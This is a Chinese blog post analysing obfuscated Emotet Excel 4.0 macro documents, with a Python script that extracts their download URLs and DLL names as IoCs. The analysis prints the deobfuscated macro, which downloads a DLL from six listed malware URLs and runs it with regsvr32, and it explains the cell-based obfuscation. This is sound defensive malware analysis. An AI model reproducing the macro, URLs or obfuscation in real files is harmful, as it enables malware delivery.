位置:首页 > 安全分类 > WEB安全
杰哥教你用Python对Emotet投递的恶意Excel表格提取IoCs
背景介绍
工作遇到多个经过同样方式混淆并隐藏的宏代码文档,利用Excel表格特性,将数据分离在不同的单元格中,再使用Office自带的函数对单元格的数值进行提取后组合成代码字符串运行。运行的代码完成下载恶意文件到本地并注册为服务的恶意行为。
致谢
感谢杰哥对我这头菜猪的帮助,经常半夜问他还会理我 (〒▽〒)
让我终于能自己写出Python完成想要的功能,减少了很多不必要的时间花费(^Ꙫ^)
文档分析
显示
除了宏代码启用提示外,可以发现Sheet名并非默认的“Sheet1”+“Sheet2”+“Sheet3”,而是唯一一个“Sheet”:
自己新建的Excel文件可以看到默认的Sheet名是“Sheet1”+“Sheet2”+“Sheet3”:
取消隐藏的Sheet
一个个(没有一次全部)取消隐藏(U)后显示如下:
隐藏的内容
第1个隐藏的Sheet:字符表
第1个Sheet用于保存单个字符。
竟然很集中的出现在常见的可见范围内,应该是开发者为了自己开发方便。如果是我,写完会挪到ZZZZZ+(实际上不行,见下文“Excel附加知识”)外:
单元格的字符来源为数据计算。“=CHAR(加减法计算)
”的字母/符号(如:“=CHAR(133+3)
”),或“=_xlfn.ARABIC(罗马数字字符串)
”(如:“=_xlfn.ARABIC("CI")
”),以及个别直接赋值的符号,如“!”、“-”、“/”等:
Excel附加知识
Excel 2003版:列数最大256(IV,2的8次方)列,行数最大65536(2的16次方)行;
Excel 2007版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);
Excel 2013版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);
Excel行和列的表示方法:例如2003版行用数字1-65536表示;列用英文字母A-Z,AA-AZ,BA-BZ,...,IA-IV表示,共256列。
第2个隐藏的Sheet:URL和部分代码字符串
字符串:
基于第1个隐藏的Sheet字符单元格使用T函数拼接出的字符串,均为下载命令代码的部分:
DownloadToFil
","JJCCBB"
("url
,0,
mon","URL
"777","
还有加了“"0, ..\adw.dll -s ..\adw.dll ",0,0)
其余的字符串直接以字符串保存:
\Windows\ SysWow64\ RETURN regsvr[屏蔽词]32.exe
第4个隐藏的Sheet:执行下载代码
由白底白字保存着“FORMULA”公式函数代码:
原始FORMULA公式代码
=FORMULA(С1!C15,С2!F3)=FORMULA(Rvfs1!P22
Q36 t 单元格 字符串 B5 ..\adw.dll(第1个字符为空格) C7 ("url D11 mon","URL D3 \Windows\ E16 ",0,0) E3 DownloadToFil F11 regsvr[屏蔽词]32.exe G5 ","JJCCBB" I9 ,0, J6 SysWow64\ N14 ..\adw.dll N4 0, P8 -s R6 RETURN 单元格 C2字符串 F19 "http://church.ktc-center.net/PbSkdCOW/"," H19 "https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/"," J19 "http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/"," L19 "777"," G21 "https://chobemaster.com/components/gus/"," I21 "http://chmiola.net/audio/6OuzyjPS/"," K21 "https://cipes.gob.mx/css/A046XJg/"," 输出FORMULA结果
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://church.ktc-center.net/PbSkdCOW/","..\adw.dll",0,0) =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chobemaster.com/components/gus/","..\adw.dll",0,0)) =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/","..\adw.dll",0,0)) =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://chmiola.net/audio/6OuzyjPS/","..\adw.dll",0,0)) =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/","..\adw.dll",0,0)) =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cipes.gob.mx/css/A046XJg/","..\adw.dll",0,0)) =IF(0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll") =RETURN()
通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。
“UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”),如果小于0则从备用的URL继续下载。
从1到6,如果“UDYQ[6]”也为小于0的话,也就是全部URL都失败,则“CLOSE(0)”结束。
如果6个URL有成功下载文件,则调用“EXEC”函数执行命令“
"C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll"
”,将下载的恶意载荷文件注册为服务。
两种URL保存形式
URL除了以“"&"”进行拼接外:
还有一类是直接保存完整的URL,以及拼接命令用的引号和逗号“","”:提取
仅以此版本Emotet下载器代码来说,对我个人比较有效有意义的数据为:
下载的URL
保存下载的文件名
下载的URL
在单元格中以“
"&"
”拼接的字符串
可以使用Python提取单元格内容,正则提取有多个“"&"
”子字符串的字符串,提取后再用replace删除“"&"
”子字符串。另一类变种直接保存的URL
那么特征是存在“://”字符串(并且可能以“","
”结尾)
下载的文件名
均以T函数进行拼接,特征是以“ ..\”开头,或者以“.dll”结尾。
如果使用的是同一套的单个字符映射的Sheet表格,那么“ ..[Dll名].dll”对应的命令为“=T([字符表Sheet]!P19&[字符表Sheet]!P5&[字符表Sheet]!P5&[字符表Sheet]!P3((&[字符表Sheet]!字符单元格){3,4})&[字符表Sheet]!P5&[字符表Sheet]!F15&[字符表Sheet]!C9&[字符表Sheet]!C9)”:文件名结构/解构
“ ..[a-z]{1,}.dll”
前为结构“ ..\”:1个空格“ ”+2个“.”+“\”;
中间为需要提取的内容,即Dll的文件名,目前分析的均为小写字母组合的3-4位字符串;
后为结构“.dll”:“.”+“d”+2个“l”。
特征结构比较固定,尤其是出现2个(断句)2个双写(“..”和“ll”)的情况,即使字母映射不同,也可以根据此规律进行提示。(当以目前发现的字母映射表进行提取无结果时,提醒有可能映射表被更换)
——但我使用Python从Excel读取数据时却发现,Python直接把数据计算出来了,和我想象中的以宏代码形式保存并不同:Python
提取还原URL
判断是不是6个(针对目前的发现规律,仅做提示,不影响提取功能)
提取Dll名
Python-字符串 - 还原混淆的宏代码
import os import re import pandas as pd strNewLine = "\r\n" # 从单元格中提取非nan的内容 def GetValue2List( df ): nRow = df.shape[0] nColumn = df.shape[1] listValue = [] for iRow in range( nRow ): for iColumn in range( nColumn ): value = str( df.iloc[iRow , iColumn] ) if (value != 'nan'): listValue.append( value ) # print(listValue) return listValue def RevivifyURL( listSheetURL ): # print(listSheetURL) reURL1 = re.compile( r'[/"](.*?)[/\",\"]"' ) reURL2 = re.compile( r'://(.*?)\",\"' , re.I ) listURL = [] for i in listSheetURL: strURL = '' # 保存方式1:以“"&"”拼接 if '"&"' in i: # print( i ) strCode = i.replace( '"&"' , '' ) strURL = reURL1.findall( strCode )[0] # 保存方式2:直接保存 elif '://' in i: # print(i) strURL = reURL2.findall( i )[0] if(strURL != '') and (strURL not in listURL): print( strURL ) listURL.append( strURL ) if (len( listURL ) == 6): # print( listURL ) pass else: print( "请人工分析:URL是否非6个" ) def RevivifyDll( listSheetDll ): # print(listSheetDll) # 匹配1:\\(.*?)\.dll,“\\”开头,“.dll”结尾 # 匹配2:\\(.*?)\.,“\\”开头,“.”结尾 reDll1 = re.compile( r'\\(.*?)\.dll' , re.I ) reDll2 = re.compile( r'|\\(.*?)\.' , re.I ) listDll = [] listRe = [] for i in listSheetDll: if ('..\\' in i) or ('.dll' in i): # print( i ) listRe1 = reDll1.findall( i ) # print( listRe1 ) listRe.extend( listRe1 ) if (len( listRe1 ) == 0): listRe2 = reDll2.findall( i ) # print( listRe2 ) listRe.extend( listRe2 ) if (len( listRe2 ) == 0): print( "请人工分析:2个正则都没有匹配出Dll" ) if (len( listRe ) != 0): for iRe in listRe: if (iRe != '') and (iRe not in listDll): listDll.append( iRe ) # print(listDll) if (len( listDll ) == 1): strDllName = listDll[0] print( "Dll名:" , strDllName ,strNewLine) else: print( "请人工分析:Dll名格式是否能通过正则匹配" ) def ExtractEmotetIoCs( pathExcel ): dfExcel = pd.read_excel( pathExcel , sheet_name = None ) listKeys = list( dfExcel.keys() ) # URL在第2个隐藏Sheet dfURL = dfExcel[listKeys[2]] listSheetURL = GetValue2List( dfURL ) RevivifyURL( listSheetURL ) # Dll在第3个隐藏Sheet dfDll = dfExcel[listKeys[3]] listSheetDll = GetValue2List( dfDll ) RevivifyDll( listSheetDll ) # 遍历目录获取“.md”文件路径 def EnumDirGetExcelFilePath( pathDir ): print( "遍历的路径:" , pathDir ) listPathExcel = [] for root , dirs , files in os.walk( pathDir ): for file in files: print( file ) pathFile = os.path.join( root , file ) # print( pathFile ) ExtractEmotetIoCs( pathFile ) pathFileExcel = "6EE99C20494D3876BEF6F882CA25DEE2.Emotet" pathDir = r"C:\Users\Administrator\Desktop\Emotet文档" if __name__ == '__main__': # 单个提取 # ExtractEmotetIoCs( pathFileExcel ) # 遍历文件夹提取 EnumDirGetExcelFilePath( pathDir ) print( "~~~顺利结束~~~" )
运行结果
行为分析
上文已经分析出了下载代码,逻辑为:
通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。
“UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个函数中“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”)
如果下载失败,即结果小于0,则从备用的URL继续下载;
从1到6依次运行,如果均下载失败,则“CLOSE(0)”结束。
如果6个URL有任一成功下载文件,则调用“EXEC”函数执行命令“
"C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll"
”,将下载的恶意载荷文件注册为服务。
不成功的原因
Office版本不同
宏代码采用了“FORMULA”公式对数据进行拼接和赋值,在比较早的Office版本中并不兼容此函数,也会造成无法执行代码的后果。
同样不兼容可能还有罗马数字转A拉伯数字的函数“_xlfn.ARABIC”。不同位数系统的系统程序路径不同
即使命令能顺利的拼接完成,由于最后命令行“
EXEC("C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll")
”写死了“regsvr[屏蔽词]32.exe”的路径为“C:\Windows\SysWow64\regsvr[屏蔽词]32.exe”,实际上该路径为64位Windows系统中“regsvr[屏蔽词]32.exe”的路径,在32位的系统上并没有目录“C:\Windows\SysWow64”。32位系统由于路径不兼容情况,会导致命令执行失败,故32位系统对此变种存在一定的免疫性。URL失效
由于时效性问题,在受害者点击垃圾邮件时,可能对应的资源链接已失效。为应对失效情况,往往攻击者会在投递时准备备用URL,故本次分析的5个文档,均有6个URL以供下载。
实际分析时应当以流量中是否正确解析并返回URL资源数据;受害主机是否有对应文件名落盘为准。沙箱的不可依赖性
在“不成功原因”里写到,Office版本不同可能会造成代码拼接函数无法执行的问题,在加上大部分沙箱默认的是32位,有比较大概率无法成功调用到“C:\Windows\SysWow64”下的“regsvr[屏蔽词]32.exe”将Dll注册为服务。
最后还需要考虑到执行逻辑,如果第一个URL执行成功,就不访问后续的URL,沙箱报告中只能提取出一个URL,但是实际受害者可能用了备选的URL。
综上所述,此类样本更适合使用静态的方式提取IoCs。每个产品都有自己的优势和弊端,根据不同情况应该灵活使用不同的方式进行检测和防御。
切记不要过于依赖一种产品,设置非已知提醒(如上文中对URL数量为6的提醒),能检测到变化,并在发现变化后及时分析变化的部分,推测变化的原因。
下一篇:反序列化JNDI分析